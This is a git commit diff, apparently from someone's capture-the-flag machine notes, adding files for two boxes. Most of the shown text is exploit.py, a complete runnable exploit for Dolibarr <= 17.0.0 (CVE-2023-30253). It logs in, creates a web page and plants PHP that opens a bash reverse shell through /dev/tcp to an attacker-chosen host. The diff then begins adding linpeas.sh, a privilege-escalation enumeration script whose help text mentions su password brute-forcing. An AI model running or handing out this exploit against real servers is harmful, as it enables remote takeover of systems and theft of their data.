aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorcompromyse <compromyse@compromyse.local>2024-10-09 18:32:58 +0530
committercompromyse <compromyse@compromyse.local>2024-10-09 18:32:58 +0530
commitba4c50473c05f4ab14d31771facebe0bab9c10da (patch)
treef229b20f2965b797bb90cacc90450327f3959695
parent5d65139dc29600df46d7de85b35324ee3fc6a827 (diff)
updateHEADmain
-rw-r--r--boardlight/exploit.py334
-rw-r--r--boardlight/linpeas.sh5960
-rw-r--r--boardlight/nmap17
-rw-r--r--boardlight/pattern1
-rw-r--r--boardlight/rustscan24
-rw-r--r--boardlight/users1
-rw-r--r--editorial/linpeas.sh5960
-rw-r--r--editorial/login2
-rw-r--r--editorial/ports.txt65536
-rw-r--r--editorial/request.txt22
-rw-r--r--editorial/rustscan22
11 files changed, 77879 insertions, 0 deletions
diff --git a/boardlight/exploit.py b/boardlight/exploit.py
new file mode 100644
index 0000000..2e8683a
--- /dev/null
+++ b/boardlight/exploit.py
@@ -0,0 +1,334 @@
+#!/usr/bin/env python3
+
+import requests
+from bs4 import BeautifulSoup
+import http.client
+import time
+import argparse
+import uuid
+
+auth_headers = {
+ "Cache-Control": "max-age=0",
+ "Upgrade-Insecure-Requests": "1",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
+ "Connection": "close"
+}
+
+def remove_http_prefix(url: str) -> str:
+ if url.startswith("http://"):
+ return url[len("http://"):]
+ elif url.startswith("https://"):
+ return url[len("https://"):]
+ else:
+ return url
+
+def get_csrf_token(url, headers):
+ csrf_token = ""
+ response = requests.get(url, headers=headers)
+
+ if response.status_code == 200:
+ soup = BeautifulSoup(response.content, "html.parser")
+ meta_tag = soup.find("meta", attrs={"name": "anti-csrf-newtoken"})
+
+ if meta_tag:
+ csrf_token = meta_tag.get("content")
+ else:
+ print("[!] CSRF token not found")
+ else:
+ print("[!] Failed to retrieve the page. Status code:", response.status_code)
+
+ return csrf_token
+
+def auth(pre_login_token, username, password, auth_url, auth_headers):
+ login_payload = {
+ "token": pre_login_token,
+ "actionlogin": "login",
+ "loginfunction": "loginfunction",
+ "backtopage": "",
+ "tz": "-5",
+ "tz_string": "America/New_York",
+ "dst_observed": "1",
+ "dst_first": "2024-03-10T01:59:00Z",
+ "dst_second": "2024-11-3T01:59:00Z",
+ "screenwidth": "1050",
+ "screenheight": "965",
+ "dol_hide_topmenu": "",
+ "dol_hide_leftmenu": "",
+ "dol_optimize_smallscreen": "",
+ "dol_no_mouse_hover": "",
+ "dol_use_jmobile": "",
+ "username": username,
+ "password": password
+ }
+
+ requests.post(auth_url, data=login_payload, headers=auth_headers, allow_redirects=True)
+
+def create_site(hostname, login_token, site_name, http_connection):
+ create_site_headers = {
+ "Host": remove_http_prefix(hostname),
+ "Cache-Control": "max-age=0",
+ "Upgrade-Insecure-Requests": "1",
+ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKouJvCUT1lX8IVE6",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
+ "Connection": "close"
+ }
+
+ create_site_body = (
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
+ login_token + "\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
+ "addsite\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"website\"\r\n\r\n"
+ "-1\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_REF\"\r\n\r\n" +
+ site_name + "\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
+ "en\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_OTHERLANG\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"virtualhost\"\r\n\r\n"
+ "http://" + site_name + ".localhost\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
+ "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
+ "Create\r\n"
+ "------WebKitFormBoundaryKouJvCUT1lX8IVE6--\r\n"
+ )
+
+ http_connection.request("POST", "/website/index.php", create_site_body, create_site_headers)
+ http_connection.getresponse()
+
+def create_page(hostname, login_token, site_name, http_connection):
+ create_page_headers = {
+ "Host": remove_http_prefix(hostname),
+ "Cache-Control": "max-age=0",
+ "Upgrade-Insecure-Requests": "1",
+ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryur7X26L0cMS2mE5w",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
+ "Connection": "close"
+ }
+
+ create_page_body = (
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
+ login_token + "\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
+ "addcontainer\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
+ site_name + "\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"pageidbis\"\r\n\r\n"
+ "-1\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"radiocreatefrom\"\r\n\r\n"
+ "checkboxcreatemanually\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_TYPE_CONTAINER\"\r\n\r\n"
+ "page\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"sample\"\r\n\r\n"
+ "empty\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_TITLE\"\r\n\r\n"
+ "TEST\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_PAGENAME\"\r\n\r\n" +
+ site_name + "\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_ALIASALT\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_IMAGE\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_KEYWORDS\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
+ "0\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"WEBSITE_AUTHORALIAS\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreation\"\r\n\r\n"
+ "05/25/2024\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationday\"\r\n\r\n"
+ "25\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationmonth\"\r\n\r\n"
+ "05\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationyear\"\r\n\r\n"
+ "2024\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationhour\"\r\n\r\n"
+ "15\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationmin\"\r\n\r\n"
+ "25\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"datecreationsec\"\r\n\r\n"
+ "29\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"htmlheader_x\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"htmlheader_y\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"htmlheader\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
+ "Create\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"externalurl\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"grabimages\"\r\n\r\n"
+ "1\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
+ "Content-Disposition: form-data; name=\"grabimagesinto\"\r\n\r\n"
+ "root\r\n"
+ "------WebKitFormBoundaryur7X26L0cMS2mE5w--\r\n"
+ )
+
+ http_connection.request("POST", "/website/index.php", create_page_body, create_page_headers)
+ http_connection.getresponse()
+
+def edit_page(hostname, login_token, site_name, lhost, lport, http_connection):
+ edit_page_headers = {
+ "Host": remove_http_prefix(hostname),
+ "Cache-Control": "max-age=0",
+ "Upgrade-Insecure-Requests": "1",
+ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYWePyybXc70N8CPm",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "en-US,en;q=0.9",
+ "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
+ "Connection": "close"
+ }
+
+ edit_page_body = (
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
+ login_token + "\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
+ "updatesource\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
+ site_name + "\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n"
+ "2\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"update\"\r\n\r\n"
+ "Save\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"PAGE_CONTENT_x\"\r\n\r\n"
+ "16\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"PAGE_CONTENT_y\"\r\n\r\n"
+ "2\r\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
+ "Content-Disposition: form-data; name=\"PAGE_CONTENT\"\r\n\r\n"
+ "<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable=\"true\" if you want to use the inline editor for the content -->\n"
+ "<section id=\"mysection1\" contenteditable=\"true\">\n"
+ " <?pHp system(\"bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
+ "</section>\n"
+ "------WebKitFormBoundaryYWePyybXc70N8CPm--\r\n"
+ )
+
+ http_connection.request("POST", "/website/index.php", edit_page_body, edit_page_headers)
+ http_connection.getresponse()
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser(description="---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---", usage= "python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>\r\nexample: python3 exploit.py http://example.com login password 127.0.0.1 9001")
+ parser.add_argument("hostname", help="Target hostname")
+ parser.add_argument("username", help="Username of Dolibarr ERP/CRM")
+ parser.add_argument("password", help="Password of Dolibarr ERP/CRM")
+ parser.add_argument("lhost", help="Listening host for reverse shell")
+ parser.add_argument("lport", help="Listening port for reverse shell")
+
+ args = parser.parse_args()
+ min_required_args = 5
+ if len(vars(args)) != min_required_args:
+ parser.print_usage()
+ exit()
+
+ site_name = str(uuid.uuid4()).replace("-","")[:10]
+ base_url = args.hostname + "/index.php"
+ auth_url = args.hostname + "/index.php?mainmenu=home"
+ admin_url = args.hostname + "/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete"
+ call_reverse_shell_url = args.hostname + "/public/website/index.php?website=" + site_name + "&pageref=" + site_name
+
+ pre_login_token = get_csrf_token(base_url, auth_headers)
+
+ if pre_login_token == "":
+ print("[!] Cannot get pre_login_token, please check the URL")
+ exit()
+
+ print("[*] Trying authentication...")
+ print("[**] Login: " + args.username)
+ print("[**] Password: " + args.password)
+
+ auth(pre_login_token, args.username, args.password, auth_url, auth_headers)
+ time.sleep(1)
+
+ login_token = get_csrf_token(admin_url, auth_headers)
+
+ if login_token == "":
+ print("[!] Cannot get login_token, please check the URL")
+ exit()
+
+ http_connection = http.client.HTTPConnection(remove_http_prefix(args.hostname))
+
+ print("[*] Trying created site...")
+ create_site(args.hostname, login_token, site_name, http_connection)
+ time.sleep(1)
+
+ print("[*] Trying created page...")
+ create_page(args.hostname, login_token, site_name, http_connection)
+ time.sleep(1)
+
+ print("[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection")
+ edit_page(args.hostname, login_token, site_name, args.lhost, args.lport, http_connection)
+
+ http_connection.close()
+ time.sleep(1)
+ requests.get(call_reverse_shell_url)
+
+ print("[!] If you have not received the shell, please check your login and password")
diff --git a/boardlight/linpeas.sh b/boardlight/linpeas.sh
new file mode 100644
index 0000000..8cf7c43
--- /dev/null
+++ b/boardlight/linpeas.sh
@@ -0,0 +1,5960 @@
+#!/bin/sh
+
+VERSION="ng"
+ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission."
+
+###########################################
+#-------) Checks pre-everything (---------#
+###########################################
+if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then
+ IAMROOT="1"
+ MAXPATH_FIND_W="3"
+else
+ IAMROOT=""
+ MAXPATH_FIND_W="7"
+fi
+
+
+###########################################
+#---------------) Colors (----------------#
+###########################################
+
+C=$(printf '\033')
+RED="${C}[1;31m"
+SED_RED="${C}[1;31m&${C}[0m"
+GREEN="${C}[1;32m"
+SED_GREEN="${C}[1;32m&${C}[0m"
+YELLOW="${C}[1;33m"
+SED_YELLOW="${C}[1;33m&${C}[0m"
+RED_YELLOW="${C}[1;31;103m"
+SED_RED_YELLOW="${C}[1;31;103m&${C}[0m"
+BLUE="${C}[1;34m"
+SED_BLUE="${C}[1;34m&${C}[0m"
+ITALIC_BLUE="${C}[1;34m${C}[3m"
+LIGHT_MAGENTA="${C}[1;95m"
+SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m"
+LIGHT_CYAN="${C}[1;96m"
+SED_LIGHT_CYAN="${C}[1;96m&${C}[0m"
+LG="${C}[1;37m" #LightGray
+SED_LG="${C}[1;37m&${C}[0m"
+DG="${C}[1;90m" #DarkGray
+SED_DG="${C}[1;90m&${C}[0m"
+NC="${C}[0m"
+UNDERLINED="${C}[5m"
+ITALIC="${C}[3m"
+
+
+###########################################
+#---------) Parsing parameters (----------#
+###########################################
+# --) FAST - Do not check 1min of procceses and su brute
+# --) SUPERFAST - FAST & do not search for special filaes in all the folders
+
+if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi
+FAST="1" # By default stealth/fast mode
+SUPERFAST=""
+DISCOVERY=""
+PORTS=""
+QUIET=""
+CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex"
+SEARCH_IN_FOLDER=""
+ROOT_FOLDER="/"
+WAIT=""
+PASSWORD=""
+NOCOLOR=""
+DEBUG=""
+AUTO_NETWORK_SCAN=""
+EXTRA_CHECKS=""
+REGEXES=""
+PORT_FORWARD=""
+THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")"
+[ -z "$THREADS" ] && THREADS="2" # If THREADS is empty, put number 2
+[ -n "$THREADS" ] && THREADS="2" # If THREADS is null, put number 2
+[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" # It THREADS is not a number, put number 2
+HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
+${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
+ ${GREEN} Checks:
+ ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks.
+ ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex). Select a comma separated list.
+ ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks)
+ ${YELLOW} -e${BLUE} Perform extra enumeration
+ ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
+ ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours)
+ ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
+ ${YELLOW} -D${BLUE} Debug mode
+
+ ${GREEN} Network recon:
+ ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
+ ${YELLOW} -d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
+ ${YELLOW} -p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
+ ${YELLOW} -i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
+ $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
+
+ ${GREEN} Port forwarding (reverse connection):
+ ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT)
+
+ ${GREEN} Firmware recon:
+ ${YELLOW} -f </FOLDER/PATH>${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder
+
+ ${GREEN} Misc:
+ ${YELLOW} -h${BLUE} To show this message
+ ${YELLOW} -w${BLUE} Wait execution between big blocks of checks
+ ${YELLOW} -L${BLUE} Force linpeas execution
+ ${YELLOW} -M${BLUE} Force macpeas execution
+ ${YELLOW} -q${BLUE} Do not show banner
+ ${YELLOW} -N${BLUE} Do not use colours$NC"
+
+while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do
+ case "$opt" in
+ h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;;
+ a) FAST="";EXTRA_CHECKS="1";;
+ s) SUPERFAST=1;;
+ d) DISCOVERY=$OPTARG;;
+ p) PORTS=$OPTARG;;
+ i) IP=$OPTARG;;
+ P) PASSWORD=$OPTARG;;
+ q) QUIET=1;;
+ o) CHECKS=$OPTARG;;
+ L) MACPEAS="";;
+ M) MACPEAS="1";;
+ w) WAIT=1;;
+ N) NOCOLOR="1";;
+ D) DEBUG="1";;
+ t) AUTO_NETWORK_SCAN="1"; CHECKS="network_information";;
+ e) EXTRA_CHECKS="1";;
+ r) REGEXES="1";;
+ f) SEARCH_IN_FOLDER=$OPTARG;
+ if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then # Make sure firmware folder ends with "/"
+ SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/";
+ fi;
+ ROOT_FOLDER=$SEARCH_IN_FOLDER;
+ REGEXES="1";
+ CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";;
+
+ F) PORT_FORWARD=$OPTARG;;
+ esac
+done
+
+if [ "$MACPEAS" ]; then SCRIPTNAME="macpeas"; else SCRIPTNAME="linpeas"; fi
+if [ "$NOCOLOR" ]; then
+ C=""
+ RED=""
+ SED_RED="&"
+ GREEN=""
+ SED_GREEN="&"
+ YELLOW=""
+ SED_YELLOW="&"
+ SED_RED_YELLOW="&"
+ BLUE=""
+ SED_BLUE="&"
+ ITALIC_BLUE=""
+ LIGHT_MAGENTA=""
+ SED_LIGHT_MAGENTA="&"
+ LIGHT_CYAN=""
+ SED_LIGHT_CYAN="&"
+ LG=""
+ SED_LG="&"
+ DG=""
+ SED_DG="&"
+ NC=""
+ UNDERLINED=""
+ ITALIC=""
+fi
+
+
+###########################################
+#---------------) BANNER (----------------#
+###########################################
+
+print_banner(){
+ if [ "$MACPEAS" ]; then
+ bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m
+ \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m
+ \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m
+ \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m
